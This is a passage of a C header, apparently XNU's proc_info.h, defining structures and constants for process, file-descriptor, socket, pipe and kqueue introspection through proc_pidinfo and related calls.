#define SM_PRIVATE_ALIASED 6
|
||||
#define SM_SHARED_ALIASED 7
|
||||
#define SM_LARGE_PAGE 8
|
||||
|
||||
|
||||
/*
|
||||
* Thread run states (state field).
|
||||
*/
|
||||
|
||||
#define TH_STATE_RUNNING 1 /* thread is running normally */
|
||||
#define TH_STATE_STOPPED 2 /* thread is stopped */
|
||||
#define TH_STATE_WAITING 3 /* thread is waiting normally */
|
||||
#define TH_STATE_UNINTERRUPTIBLE 4 /* thread is in an uninterruptible
|
||||
wait */
|
||||
#define TH_STATE_HALTED 5 /* thread is halted at a
|
||||
clean point */
|
||||
|
||||
/*
|
||||
* Thread flags (flags field).
|
||||
*/
|
||||
#define TH_FLAGS_SWAPPED 0x1 /* thread is swapped out */
|
||||
#define TH_FLAGS_IDLE 0x2 /* thread is an idle thread */
|
||||
|
||||
|
||||
struct proc_workqueueinfo {
|
||||
uint32_t pwq_nthreads; /* total number of workqueue threads */
|
||||
uint32_t pwq_runthreads; /* total number of running workqueue threads */
|
||||
uint32_t pwq_blockedthreads; /* total number of blocked workqueue threads */
|
||||
uint32_t pwq_state;
|
||||
};
|
||||
|
||||
/*
|
||||
* workqueue state (pwq_state field)
|
||||
*/
|
||||
#define WQ_EXCEEDED_CONSTRAINED_THREAD_LIMIT 0x1
|
||||
#define WQ_EXCEEDED_TOTAL_THREAD_LIMIT 0x2
|
||||
#define WQ_FLAGS_AVAILABLE 0x4
|
||||
|
||||
struct proc_fileinfo {
|
||||
uint32_t fi_openflags;
|
||||
uint32_t fi_status;
|
||||
off_t fi_offset;
|
||||
int32_t fi_type;
|
||||
uint32_t fi_guardflags;
|
||||
};
|
||||
|
||||
/* stats flags in proc_fileinfo */
|
||||
#define PROC_FP_SHARED 1 /* shared by more than one fd */
|
||||
#define PROC_FP_CLEXEC 2 /* close on exec */
|
||||
#define PROC_FP_GUARDED 4 /* guarded fd */
|
||||
#define PROC_FP_CLFORK 8 /* close on fork */
|
||||
|
||||
#define PROC_FI_GUARD_CLOSE (1u << 0)
|
||||
#define PROC_FI_GUARD_DUP (1u << 1)
|
||||
#define PROC_FI_GUARD_SOCKET_IPC (1u << 2)
|
||||
#define PROC_FI_GUARD_FILEPORT (1u << 3)
|
||||
|
||||
struct proc_exitreasonbasicinfo {
|
||||
uint32_t beri_namespace;
|
||||
uint64_t beri_code;
|
||||
uint64_t beri_flags;
|
||||
uint32_t beri_reason_buf_size;
|
||||
} __attribute__((packed));
|
||||
|
||||
struct proc_exitreasoninfo {
|
||||
uint32_t eri_namespace;
|
||||
uint64_t eri_code;
|
||||
uint64_t eri_flags;
|
||||
uint32_t eri_reason_buf_size;
|
||||
uint64_t eri_kcd_buf;
|
||||
} __attribute__((packed));
|
||||
|
||||
/*
|
||||
* A copy of stat64 with static sized fields.
|
||||
*/
|
||||
struct vinfo_stat {
|
||||
uint32_t vst_dev; /* [XSI] ID of device containing file */
|
||||
uint16_t vst_mode; /* [XSI] Mode of file (see below) */
|
||||
uint16_t vst_nlink; /* [XSI] Number of hard links */
|
||||
uint64_t vst_ino; /* [XSI] File serial number */
|
||||
uid_t vst_uid; /* [XSI] User ID of the file */
|
||||
gid_t vst_gid; /* [XSI] Group ID of the file */
|
||||
int64_t vst_atime; /* [XSI] Time of last access */
|
||||
int64_t vst_atimensec; /* nsec of last access */
|
||||
int64_t vst_mtime; /* [XSI] Last data modification time */
|
||||
int64_t vst_mtimensec; /* last data modification nsec */
|
||||
int64_t vst_ctime; /* [XSI] Time of last status change */
|
||||
int64_t vst_ctimensec; /* nsec of last status change */
|
||||
int64_t vst_birthtime; /* File creation time(birth) */
|
||||
int64_t vst_birthtimensec; /* nsec of File creation time */
|
||||
off_t vst_size; /* [XSI] file size, in bytes */
|
||||
int64_t vst_blocks; /* [XSI] blocks allocated for file */
|
||||
int32_t vst_blksize; /* [XSI] optimal blocksize for I/O */
|
||||
uint32_t vst_flags; /* user defined flags for file */
|
||||
uint32_t vst_gen; /* file generation number */
|
||||
uint32_t vst_rdev; /* [XSI] Device ID */
|
||||
int64_t vst_qspare[2]; /* RESERVED: DO NOT USE! */
|
||||
};
|
||||
|
||||
struct vnode_info {
|
||||
struct vinfo_stat vi_stat;
|
||||
int vi_type;
|
||||
int vi_pad;
|
||||
fsid_t vi_fsid;
|
||||
};
|
||||
|
||||
struct vnode_info_path {
|
||||
struct vnode_info vip_vi;
|
||||
char vip_path[MAXPATHLEN]; /* tail end of it */
|
||||
};
|
||||
|
||||
struct vnode_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct vnode_info pvi;
|
||||
};
|
||||
|
||||
struct vnode_fdinfowithpath {
|
||||
struct proc_fileinfo pfi;
|
||||
struct vnode_info_path pvip;
|
||||
};
|
||||
|
||||
struct proc_regionwithpathinfo {
|
||||
struct proc_regioninfo prp_prinfo;
|
||||
struct vnode_info_path prp_vip;
|
||||
};
|
||||
|
||||
struct proc_vnodepathinfo {
|
||||
struct vnode_info_path pvi_cdir;
|
||||
struct vnode_info_path pvi_rdir;
|
||||
};
|
||||
|
||||
struct proc_threadwithpathinfo {
|
||||
struct proc_threadinfo pt;
|
||||
struct vnode_info_path pvip;
|
||||
};
|
||||
|
||||
/*
|
||||
* Socket
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
* IPv4 and IPv6 Sockets
|
||||
*/
|
||||
|
||||
#define INI_IPV4 0x1
|
||||
#define INI_IPV6 0x2
|
||||
|
||||
struct in4in6_addr {
|
||||
u_int32_t i46a_pad32[3];
|
||||
struct in_addr i46a_addr4;
|
||||
};
|
||||
|
||||
struct in_sockinfo {
|
||||
int insi_fport; /* foreign port */
|
||||
int insi_lport; /* local port */
|
||||
uint64_t insi_gencnt; /* generation count of this instance */
|
||||
uint32_t insi_flags; /* generic IP/datagram flags */
|
||||
uint32_t insi_flow;
|
||||
|
||||
uint8_t insi_vflag; /* ini_IPV4 or ini_IPV6 */
|
||||
uint8_t insi_ip_ttl; /* time to live proto */
|
||||
uint32_t rfu_1; /* reserved */
|
||||
/* protocol dependent part */
|
||||
union {
|
||||
struct in4in6_addr ina_46;
|
||||
struct in6_addr ina_6;
|
||||
} insi_faddr; /* foreign host table entry */
|
||||
union {
|
||||
struct in4in6_addr ina_46;
|
||||
struct in6_addr ina_6;
|
||||
} insi_laddr; /* local host table entry */
|
||||
struct {
|
||||
u_char in4_tos; /* type of service */
|
||||
} insi_v4;
|
||||
struct {
|
||||
uint8_t in6_hlim;
|
||||
int in6_cksum;
|
||||
u_short in6_ifindex;
|
||||
short in6_hops;
|
||||
} insi_v6;
|
||||
};
|
||||
|
||||
/*
|
||||
* TCP Sockets
|
||||
*/
|
||||
|
||||
#define TSI_T_REXMT 0 /* retransmit */
|
||||
#define TSI_T_PERSIST 1 /* retransmit persistence */
|
||||
#define TSI_T_KEEP 2 /* keep alive */
|
||||
#define TSI_T_2MSL 3 /* 2*msl quiet time timer */
|
||||
#define TSI_T_NTIMERS 4
|
||||
|
||||
#define TSI_S_CLOSED 0 /* closed */
|
||||
#define TSI_S_LISTEN 1 /* listening for connection */
|
||||
#define TSI_S_SYN_SENT 2 /* active, have sent syn */
|
||||
#define TSI_S_SYN_RECEIVED 3 /* have send and received syn */
|
||||
#define TSI_S_ESTABLISHED 4 /* established */
|
||||
#define TSI_S__CLOSE_WAIT 5 /* rcvd fin, waiting for close */
|
||||
#define TSI_S_FIN_WAIT_1 6 /* have closed, sent fin */
|
||||
#define TSI_S_CLOSING 7 /* closed xchd FIN; await FIN ACK */
|
||||
#define TSI_S_LAST_ACK 8 /* had fin and close; await FIN ACK */
|
||||
#define TSI_S_FIN_WAIT_2 9 /* have closed, fin is acked */
|
||||
#define TSI_S_TIME_WAIT 10 /* in 2*msl quiet wait after close */
|
||||
#define TSI_S_RESERVED 11 /* pseudo state: reserved */
|
||||
|
||||
struct tcp_sockinfo {
|
||||
struct in_sockinfo tcpsi_ini;
|
||||
int tcpsi_state;
|
||||
int tcpsi_timer[TSI_T_NTIMERS];
|
||||
int tcpsi_mss;
|
||||
uint32_t tcpsi_flags;
|
||||
uint32_t rfu_1; /* reserved */
|
||||
uint64_t tcpsi_tp; /* opaque handle of TCP protocol control block */
|
||||
};
|
||||
|
||||
/*
|
||||
* Unix Domain Sockets
|
||||
*/
|
||||
|
||||
|
||||
struct un_sockinfo {
|
||||
uint64_t unsi_conn_so; /* opaque handle of connected socket */
|
||||
uint64_t unsi_conn_pcb; /* opaque handle of connected protocol control block */
|
||||
union {
|
||||
struct sockaddr_un ua_sun;
|
||||
char ua_dummy[SOCK_MAXADDRLEN];
|
||||
} unsi_addr; /* bound address */
|
||||
union {
|
||||
struct sockaddr_un ua_sun;
|
||||
char ua_dummy[SOCK_MAXADDRLEN];
|
||||
} unsi_caddr; /* address of socket connected to */
|
||||
};
|
||||
|
||||
/*
|
||||
* PF_NDRV Sockets
|
||||
*/
|
||||
|
||||
struct ndrv_info {
|
||||
uint32_t ndrvsi_if_family;
|
||||
uint32_t ndrvsi_if_unit;
|
||||
char ndrvsi_if_name[IF_NAMESIZE];
|
||||
};
|
||||
|
||||
/*
|
||||
* Kernel Event Sockets
|
||||
*/
|
||||
|
||||
struct kern_event_info {
|
||||
uint32_t kesi_vendor_code_filter;
|
||||
uint32_t kesi_class_filter;
|
||||
uint32_t kesi_subclass_filter;
|
||||
};
|
||||
|
||||
/*
|
||||
* Kernel Control Sockets
|
||||
*/
|
||||
|
||||
struct kern_ctl_info {
|
||||
uint32_t kcsi_id;
|
||||
uint32_t kcsi_reg_unit;
|
||||
uint32_t kcsi_flags; /* support flags */
|
||||
uint32_t kcsi_recvbufsize; /* request more than the default buffer size */
|
||||
uint32_t kcsi_sendbufsize; /* request more than the default buffer size */
|
||||
uint32_t kcsi_unit;
|
||||
char kcsi_name[MAX_KCTL_NAME]; /* unique nke identifier, provided by DTS */
|
||||
};
|
||||
|
||||
/* soi_state */
|
||||
|
||||
#define SOI_S_NOFDREF 0x0001 /* no file table ref any more */
|
||||
#define SOI_S_ISCONNECTED 0x0002 /* socket connected to a peer */
|
||||
#define SOI_S_ISCONNECTING 0x0004 /* in process of connecting to peer */
|
||||
#define SOI_S_ISDISCONNECTING 0x0008 /* in process of disconnecting */
|
||||
#define SOI_S_CANTSENDMORE 0x0010 /* can't send more data to peer */
|
||||
#define SOI_S_CANTRCVMORE 0x0020 /* can't receive more data from peer */
|
||||
#define SOI_S_RCVATMARK 0x0040 /* at mark on input */
|
||||
#define SOI_S_PRIV 0x0080 /* privileged for broadcast, raw... */
|
||||
#define SOI_S_NBIO 0x0100 /* non-blocking ops */
|
||||
#define SOI_S_ASYNC 0x0200 /* async i/o notify */
|
||||
#define SOI_S_INCOMP 0x0800 /* Unaccepted, incomplete connection */
|
||||
#define SOI_S_COMP 0x1000 /* unaccepted, complete connection */
|
||||
#define SOI_S_ISDISCONNECTED 0x2000 /* socket disconnected from peer */
|
||||
#define SOI_S_DRAINING 0x4000 /* close waiting for blocked system calls to drain */
|
||||
|
||||
struct sockbuf_info {
|
||||
uint32_t sbi_cc;
|
||||
uint32_t sbi_hiwat; /* SO_RCVBUF, SO_SNDBUF */
|
||||
uint32_t sbi_mbcnt;
|
||||
uint32_t sbi_mbmax;
|
||||
uint32_t sbi_lowat;
|
||||
short sbi_flags;
|
||||
short sbi_timeo;
|
||||
};
|
||||
|
||||
enum {
|
||||
SOCKINFO_GENERIC = 0,
|
||||
SOCKINFO_IN = 1,
|
||||
SOCKINFO_TCP = 2,
|
||||
SOCKINFO_UN = 3,
|
||||
SOCKINFO_NDRV = 4,
|
||||
SOCKINFO_KERN_EVENT = 5,
|
||||
SOCKINFO_KERN_CTL = 6
|
||||
};
|
||||
|
||||
struct socket_info {
|
||||
struct vinfo_stat soi_stat;
|
||||
uint64_t soi_so; /* opaque handle of socket */
|
||||
uint64_t soi_pcb; /* opaque handle of protocol control block */
|
||||
int soi_type;
|
||||
int soi_protocol;
|
||||
int soi_family;
|
||||
short soi_options;
|
||||
short soi_linger;
|
||||
short soi_state;
|
||||
short soi_qlen;
|
||||
short soi_incqlen;
|
||||
short soi_qlimit;
|
||||
short soi_timeo;
|
||||
u_short soi_error;
|
||||
uint32_t soi_oobmark;
|
||||
struct sockbuf_info soi_rcv;
|
||||
struct sockbuf_info soi_snd;
|
||||
int soi_kind;
|
||||
uint32_t rfu_1; /* reserved */
|
||||
union {
|
||||
struct in_sockinfo pri_in; /* SOCKINFO_IN */
|
||||
struct tcp_sockinfo pri_tcp; /* SOCKINFO_TCP */
|
||||
struct un_sockinfo pri_un; /* SOCKINFO_UN */
|
||||
struct ndrv_info pri_ndrv; /* SOCKINFO_NDRV */
|
||||
struct kern_event_info pri_kern_event; /* SOCKINFO_KERN_EVENT */
|
||||
struct kern_ctl_info pri_kern_ctl; /* SOCKINFO_KERN_CTL */
|
||||
} soi_proto;
|
||||
};
|
||||
|
||||
struct socket_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct socket_info psi;
|
||||
};
|
||||
|
||||
|
||||
|
||||
struct psem_info {
|
||||
struct vinfo_stat psem_stat;
|
||||
char psem_name[MAXPATHLEN];
|
||||
};
|
||||
|
||||
struct psem_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct psem_info pseminfo;
|
||||
};
|
||||
|
||||
|
||||
|
||||
struct pshm_info {
|
||||
struct vinfo_stat pshm_stat;
|
||||
uint64_t pshm_mappaddr;
|
||||
char pshm_name[MAXPATHLEN];
|
||||
};
|
||||
|
||||
struct pshm_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct pshm_info pshminfo;
|
||||
};
|
||||
|
||||
|
||||
struct pipe_info {
|
||||
struct vinfo_stat pipe_stat;
|
||||
uint64_t pipe_handle;
|
||||
uint64_t pipe_peerhandle;
|
||||
int pipe_status;
|
||||
int rfu_1; /* reserved */
|
||||
};
|
||||
|
||||
struct pipe_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct pipe_info pipeinfo;
|
||||
};
|
||||
|
||||
|
||||
struct kqueue_info {
|
||||
struct vinfo_stat kq_stat;
|
||||
uint32_t kq_state;
|
||||
uint32_t rfu_1; /* reserved */
|
||||
};
|
||||
|
||||
struct kqueue_dyninfo {
|
||||
struct kqueue_info kqdi_info;
|
||||
uint64_t kqdi_servicer;
|
||||
uint64_t kqdi_owner;
|
||||
uint32_t kqdi_sync_waiters;
|
||||
uint8_t kqdi_sync_waiter_qos;
|
||||
uint8_t kqdi_async_qos;
|
||||
uint16_t kqdi_request_state;
|
||||
uint8_t kqdi_events_qos;
|
||||
uint8_t _kqdi_reserved0[7];
|
||||
uint64_t _kqdi_reserved1[4];
|
||||
};
|
||||
|
||||
/* keep in sync with KQ_* in sys/eventvar.h */
|
||||
#define PROC_KQUEUE_SELECT 0x01
|
||||
#define PROC_KQUEUE_SLEEP 0x02
|
||||
#define PROC_KQUEUE_32 0x08
|
||||
#define PROC_KQUEUE_64 0x10
|
||||
#define PROC_KQUEUE_QOS 0x20
|
||||
|
||||
#ifdef PRIVATE
|
||||
struct kevent_extinfo {
|
||||
struct kevent_qos_s kqext_kev;
|
||||
uint64_t kqext_sdata;
|
||||
int kqext_status;
|
||||
int kqext_sfflags;
|
||||
uint64_t kqext_reserved[2];
|
||||
};
|
||||
#endif /* PRIVATE */
|
||||
|
||||
struct kqueue_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct kqueue_info kqueueinfo;
|
||||
};
|
||||
|
||||
struct appletalk_info {
|
||||
struct vinfo_stat atalk_stat;
|
||||
};
|
||||
|
||||
struct appletalk_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct appletalk_info appletalkinfo;
|
||||
};
|
||||
|
||||
|
||||
|
||||
/* defns of process file desc type */
|
||||
#define PROX_FDTYPE_ATALK 0
|
||||
#define PROX_FDTYPE_VNODE 1
|
||||
#define PROX_FDTYPE_SOCKET 2
|
||||
#define PROX_FDTYPE_PSHM 3
|
||||
#define PROX_FDTYPE_PSEM 4
|
||||
#define PROX_FDTYPE_KQUEUE 5
|
||||
#define PROX_FDTYPE_PIPE 6
|
||||
#define PROX_FDTYPE_FSEVENTS 7
|
||||
#define PROX_FDTYPE_NETPOLICY 9
|
||||
|
||||
struct proc_fdinfo {
|
||||
int32_t proc_fd;
|
||||
uint32_t proc_fdtype;
|
||||
};
|
||||
|
||||
struct proc_fileportinfo {
|
||||
uint32_t proc_fileport;
|
||||
uint32_t proc_fdtype;
|
||||
};
|
||||
|
||||
|
||||
/* Flavors for proc_pidinfo() */
|
||||
#define PROC_PIDLISTFDS 1
|
||||
#define PROC_PIDLISTFD_SIZE (sizeof(struct proc_fdinfo))
|
||||
|
||||
#define PROC_PIDTASKALLINFO 2
|
||||
#define PROC_PIDTASKALLINFO_SIZE (sizeof(struct proc_taskallinfo))
|
||||
|
||||
#define PROC_PIDTBSDINFO 3
|
||||
#define PROC_PIDTBSDINFO_SIZE (sizeof(struct proc_bsdinfo))
|
||||
|
||||
#define PROC_PIDTASKINFO 4
|
||||
#define PROC_PIDTASKINFO_SIZE (sizeof(struct proc_taskinfo))
|
||||
|
||||
#define PROC_PIDTHREADINFO 5
|
||||
#define PROC_PIDTHREADINFO_SIZE (sizeof(struct proc_threadinfo))
|
||||
|
||||
#define PROC_PIDLISTTHREADS 6
|
||||
#define PROC_PIDLISTTHREADS_SIZE (2* sizeof(uint32_t))
|
||||
|
||||
|
||||
#define PROC_PIDREGIONINFO 7
|
||||
#define PROC_PIDREGIONINFO_SIZE (sizeof(struct proc_regioninfo))
|
||||
|
||||
#define PROC_PIDREGIONPATHINFO 8
|
||||
#define PROC_PIDREGIONPATHINFO_SIZE (sizeof(struct proc_regionwithpathinfo))
|
||||
|
||||
#define PROC_PIDVNODEPATHINFO 9
|
||||
#define PROC_PIDVNODEPATHINFO_SIZE (sizeof(struct proc_vnodepathinfo))
|
||||
|
||||
#define PROC_PIDTHREADPATHINFO 10
|
||||
#define PROC_PIDTHREADPATHINFO_SIZE (sizeof(struct proc_threadwithpathinfo))
|
||||
|
||||
#define PROC_PIDPATHINFO 11
|
||||
#define PROC_PIDPATHINFO_SIZE (MAXPATHLEN)
|
||||
#define PROC_PIDPATHINFO_MAXSIZE (4*MAXPATHLEN)
|
||||
|
||||
#define PROC_PIDWORKQUEUEINFO 12
|
||||
#define PROC_PIDWORKQUEUEINFO_SIZE (sizeof(struct proc_workqueueinfo))
|
||||
|
||||
#define PROC_PIDT_SHORTBSDINFO 13
|
||||
#define PROC_PIDT_SHORTBSDINFO_SIZE (sizeof(struct proc_bsdshortinfo))
|
||||
|
||||
#define PROC_PIDLISTFILEPORTS 14
|
||||
#define PROC_PIDLISTFILEPORTS_SIZE (sizeof(struct proc_fileportinfo))
|
||||
|
||||
#define PROC_PIDTHREADID64INFO 15
|
||||
#define PROC_PIDTHREADID64INFO_SIZE (sizeof(struct proc_threadinfo))
|
||||
|
||||
#define PROC_PID_RUSAGE 16
|
||||
#define PROC_PID_RUSAGE_SIZE 0
|
||||
|
||||
#ifdef PRIVATE
|
||||
#define PROC_PIDUNIQIDENTIFIERINFO 17
|
||||
#define PROC_PIDUNIQIDENTIFIERINFO_SIZE \
|
||||
(sizeof(struct proc_uniqidentifierinfo))
|
||||
|
||||
#define PROC_PIDT_BSDINFOWITHUNIQID 18
|
||||
#define PROC_PIDT_BSDINFOWITHUNIQID_SIZE \
|
||||
(sizeof(struct proc_bsdinfowithuniqid))
|
||||
|
||||
#define PROC_PIDARCHINFO 19
|
||||
#define PROC_PIDARCHINFO_SIZE \
|
||||
(sizeof(struct proc_archinfo))
|
||||
|
||||
#define PROC_PIDCOALITIONINFO 20
|
||||
#define PROC_PIDCOALITIONINFO_SIZE (sizeof(struct proc_pidcoalitioninfo))
|
||||
|
||||
#define PROC_PIDNOTEEXIT 21
|
||||
#define PROC_PIDNOTEEXIT_SIZE (sizeof(uint32_t))
|
||||
|
||||
#define PROC_PIDREGIONPATHINFO2 22
|
||||
#define PROC_PIDREGIONPATHINFO2_SIZE (sizeof(struct proc_regionwithpathinfo))
|
||||
|
||||
#define PROC_PIDREGIONPATHINFO3 23
|
||||
#define PROC_PIDREGIONPATHINFO3_SIZE (sizeof(struct proc_regionwithpathinfo))
|
||||
|
||||
#define PROC_PIDEXITREASONINFO 24
|
||||
#define PROC_PIDEXITREASONINFO_SIZE (sizeof(struct proc_exitreasoninfo))
|
||||
|
||||
#define PROC_PIDEXITREASONBASICINFO 25
|
||||
#define PROC_PIDEXITREASONBASICINFOSIZE (sizeof(struct proc_exitreasonbasicinfo))
|
||||
|
||||
#define PROC_PIDLISTUPTRS 26
|
||||
#define PROC_PIDLISTUPTRS_SIZE (sizeof(uint64_t))
|
||||
|
||||
#define PROC_PIDLISTDYNKQUEUES 27
|
||||
#define PROC_PIDLISTDYNKQUEUES_SIZE (sizeof(kqueue_id_t))
|
||||
|
||||
#endif
|
||||
|
||||
/* Flavors for proc_pidfdinfo */
|
||||
|
||||
#define PROC_PIDFDVNODEINFO 1
|
||||
#define PROC_PIDFDVNODEINFO_SIZE (sizeof(struct vnode_fdinfo))
|
||||
|
||||
#define PROC_PIDFDVNODEPATHINFO 2
|
||||
#define PROC_PIDFDVNODEPATHINFO_SIZE (sizeof(struct vnode_fdinfowithpath))
|
||||
|
||||
#define PROC_PIDFDSOCKETINFO 3
|
||||
#define PROC_PIDFDSOCKETINFO_SIZE (sizeof(struct socket_fdinfo))
|
||||
|
||||
#define PROC_PIDFDPSEMINFO 4
|
||||
#define PROC_PIDFDPSEMINFO_SIZE (sizeof(struct psem_fdinfo))
|
||||
|
||||
#define PROC_PIDFDPSHMINFO 5
|
||||
#define PROC_PIDFDPSHMINFO_SIZE (sizeof(struct pshm_fdinfo))
|
||||
|
||||
#define PROC_PIDFDPIPEINFO 6
|
||||
#define PROC_PIDFDPIPEINFO_SIZE (sizeof(struct pipe_fdinfo))
|
||||
|
||||
#define PROC_PIDFDKQUEUEINFO 7
|
||||
#define PROC_PIDFDKQUEUEINFO_SIZE (sizeof(struct kqueue_fdinfo))
|
||||
|
||||
#define PROC_PIDFDATALKINFO 8
|
||||
#define PROC_PIDFDATALKINFO_SIZE (sizeof(struct appletalk_fdinfo))
|
||||
|
||||
#ifdef PRIVATE
|
||||
#define PROC_PIDFDKQUEUE_EXTINFO 9
|
||||
#define PROC_PIDFDKQUEUE_EXTINFO_SIZE (sizeof(struct kevent_extinfo))
|
||||
#define PROC_PIDFDKQUEUE_KNOTES_MAX (1024 * 128)
|
||||
#define PROC_PIDDYNKQUEUES_MAX (1024 * 128)
|
||||
#endif /* PRIVATE */
|
||||
|
||||
|
||||
/* Flavors for proc_pidfileportinfo */
|
||||
|
||||
#define PROC_PIDFILEPORTVNODEPATHINFO 2 /* out: vnode_fdinfowithpath */
|
||||
#define PROC_PIDFILEPORTVNODEPATHINFO_SIZE \
|
||||
PROC_PIDFDVNODEPATHINFO_SIZE
|
||||
|
||||
#define PROC_PIDFILEPORTSOCKETINFO 3 /* out: socket_fdinfo */
|
||||
#define PROC_PIDFILEPORTSOCKETINFO_SIZE PROC_PIDFDSOCKETINFO_SIZE
|
||||
|
||||
#define PROC_PIDFILEPORTPSHMINFO 5 /* out: pshm_fdinfo */
|
||||
#define PROC_PIDFILEPORTPSHMINFO_SIZE PROC_PIDFDPSHMINFO_SIZE
|
||||
|
||||
#define PROC_PIDFILEPORTPIPEINFO 6 /* out: pipe_fdinfo */
|
||||
#define PROC_PIDFILEPORTPIPEINFO_SIZE PROC_PIDFDPIPEINFO_SIZE
|
||||
|
||||
/* used for proc_setcontrol */
|
||||
#define PROC_SELFSET_PCONTROL 1
|
||||
|
||||
#define PROC_SELFSET_THREADNAME 2
|
||||
#define PROC_SELFSET_THREADNAME_SIZE (MAXTHREADNAMESIZE -1)
|
||||
|
||||
#define PROC_SELFSET_VMRSRCOWNER 3
|
||||
|
||||
#define PROC_SELFSET_DELAYIDLESLEEP 4
|
||||
|
||||
/* used for proc_dirtycontrol */
|
||||
#define PROC_DIRTYCONTROL_TRACK 1
|
||||
#define PROC_DIRTYCONTROL_SET 2
|
||||
#define PROC_DIRTYCONTROL_GET 3
|
||||
#define PROC_DIRTYCONTROL_CLEAR 4
|
||||
|
||||
/* proc_track_dirty() flags */
|
||||
#define PROC_DIRTY_TRACK 0x1
|
||||
#define PROC_DIRTY_ALLOW_IDLE_EXIT 0x2
|
||||
#define PROC_DIRTY_DEFER 0x4
|
||||
#define PROC_DIRTY_LAUNCH_IN_PROGRESS 0x8
|
||||
|
||||
/* proc_get_dirty() flags */
|
||||
#define PROC_DIRTY_TRACKED 0x1
|
||||
#define PROC_DIRTY_ALLOWS_IDLE_EXIT 0x2
|
||||
#define PROC_DIRTY_IS_DIRTY 0x4
|
||||
#define PROC_DIRTY_LAUNCH_IS_IN_PROGRESS 0x8
|
||||
|
||||
#ifdef PRIVATE
|
||||
|
||||
/* Flavors for proc_pidoriginatorinfo */
|
||||
#define PROC_PIDORIGINATOR_UUID 0x1
|
||||
#define PROC_PIDORIGINATOR_UUID_SIZE (sizeof(uuid_t))
|
||||
|
||||
#define PROC_PIDORIGINATOR_BGSTATE 0x2
|
||||
#define PROC_PIDORIGINATOR_BGSTATE_SIZE (sizeof(uint32_t))
|
||||
|
||||
#define PROC_PIDORIGINATOR_PID_UUID 0x3
|
||||
#define PROC_PIDORIGINATOR_PID_UUID_SIZE (sizeof(struct proc_originatorinfo))
|
||||
|
||||
/* Flavors for proc_listcoalitions */
|
||||
#define LISTCOALITIONS_ALL_COALS 1
|
||||
#define LISTCOALITIONS_ALL_COALS_SIZE (sizeof(struct procinfo_coalinfo))
|
||||
|
||||
#define LISTCOALITIONS_SINGLE_TYPE 2
|
||||
#define LISTCOALITIONS_SINGLE_TYPE_SIZE (sizeof(struct procinfo_coalinfo))
|
||||
|
||||
/* reasons for proc_can_use_foreground_hw */
|
||||
#define PROC_FGHW_OK 0 /* pid may use foreground HW */
|
||||
#define PROC_FGHW_DAEMON_OK 1
|
||||
#define PROC_FGHW_DAEMON_LEADER 10 /* pid is in a daemon coalition */
|
||||
#define PROC_FGHW_LEADER_NONUI 11 /* coalition leader is in a non-focal state */
|
||||
#define PROC_FGHW_LEADER_BACKGROUND 12 /* coalition leader is in a background state */
|
||||
#define PROC_FGHW_DAEMON_NO_VOUCHER 13 /* pid is a daemon with no adopted voucher */
|
||||
#define PROC_FGHW_NO_VOUCHER_ATTR 14 /* pid has adopted a voucher with no bank/originator attribute */
|
||||
#define PROC_FGHW_NO_ORIGINATOR 15 /* pid has adopted a voucher for a process that's gone away */
|
||||
#define PROC_FGHW_ORIGINATOR_BACKGROUND 16 /* pid has adopted a voucher for an app that's in the background */
|
||||
#define PROC_FGHW_VOUCHER_ERROR 98 /* error in voucher / originator callout */
|
||||
#define PROC_FGHW_ERROR 99 /* syscall parameter/permissions error */
|
||||
|
||||
/* flavors for proc_piddynkqueueinfo */
|
||||
#ifdef PRIVATE
|
||||
#define PROC_PIDDYNKQUEUE_INFO 0
|
||||
#define PROC_PIDDYNKQUEUE_INFO_SIZE (sizeof(struct kqueue_dyninfo))
|
||||
#define PROC_PIDDYNKQUEUE_EXTINFO 1
|
||||
#define PROC_PIDDYNKQUEUE_EXTINFO_SIZE (sizeof(struct kevent_extinfo))
|
||||
#endif
|
||||
|
||||
/* __proc_info() call numbers */
|
||||
#define PROC_INFO_CALL_LISTPIDS 0x1
|
||||
#define PROC_INFO_CALL_PIDINFO 0x2
|
||||
#define PROC_INFO_CALL_PIDFDINFO 0x3
|
||||
#define PROC_INFO_CALL_KERNMSGBUF 0x4
|
||||
#define PROC_INFO_CALL_SETCONTROL 0x5
|
||||
#define PROC_INFO_CALL_PIDFILEPORTINFO 0x6
|
||||
#define PROC_INFO_CALL_TERMINATE 0x7
|
||||
#define PROC_INFO_CALL_DIRTYCONTROL 0x8
|
||||
#define PROC_INFO_CALL_PIDRUSAGE 0x9
|
||||
#define PROC_INFO_CALL_PIDORIGINATORINFO 0xa
|
||||
#define PROC_INFO_CALL_LISTCOALITIONS 0xb
|
||||
#define PROC_INFO_CALL_CANUSEFGHW 0xc
|
||||
#define PROC_INFO_CALL_PIDDYNKQUEUEINFO 0xd
|
||||
|
||||
#endif /* PRIVATE */
|
||||
|
||||
#ifdef XNU_KERNEL_PRIVATE
|
||||
#ifndef pshmnode
|
||||
struct pshmnode;
|
||||
#endif
|
||||
|
||||
#ifndef psemnode
|
||||
struct psemnode ;
|
||||
#endif
|
||||
|
||||
#ifndef pipe
|
||||
struct pipe;
|
||||
#endif
|
||||
|
||||
extern int fill_socketinfo(socket_t so, struct socket_info *si);
|
||||
extern int fill_pshminfo(struct pshmnode * pshm, struct pshm_info * pinfo);
|
||||
extern int fill_pseminfo(struct psemnode * psem, struct psem_info * pinfo);
|
||||
extern int fill_pipeinfo(struct pipe * cpipe, struct pipe_info * pinfo);
|
||||
extern int fill_kqueueinfo(struct kqueue * kq, struct kqueue_info * kinfo);
|
||||
extern int pid_kqueue_extinfo(proc_t, struct kqueue * kq, user_addr_t buffer,
|
||||
uint32_t buffersize, int32_t * retval);
|
||||
extern int pid_kqueue_udatainfo(proc_t p, struct kqueue *kq, uint64_t *buf,
|
||||
uint32_t bufsize);
|
||||
extern int pid_kqueue_listdynamickqueues(proc_t p, user_addr_t ubuf,
|
||||
uint32_t bufsize, int32_t *retval);
|
||||
extern int pid_dynamickqueue_extinfo(proc_t p, kqueue_id_t kq_id,
|
||||
user_addr_t ubuf, uint32_t bufsize, int32_t *retval);
|
||||
extern int fill_procworkqueue(proc_t, struct proc_workqueueinfo *);
|
||||
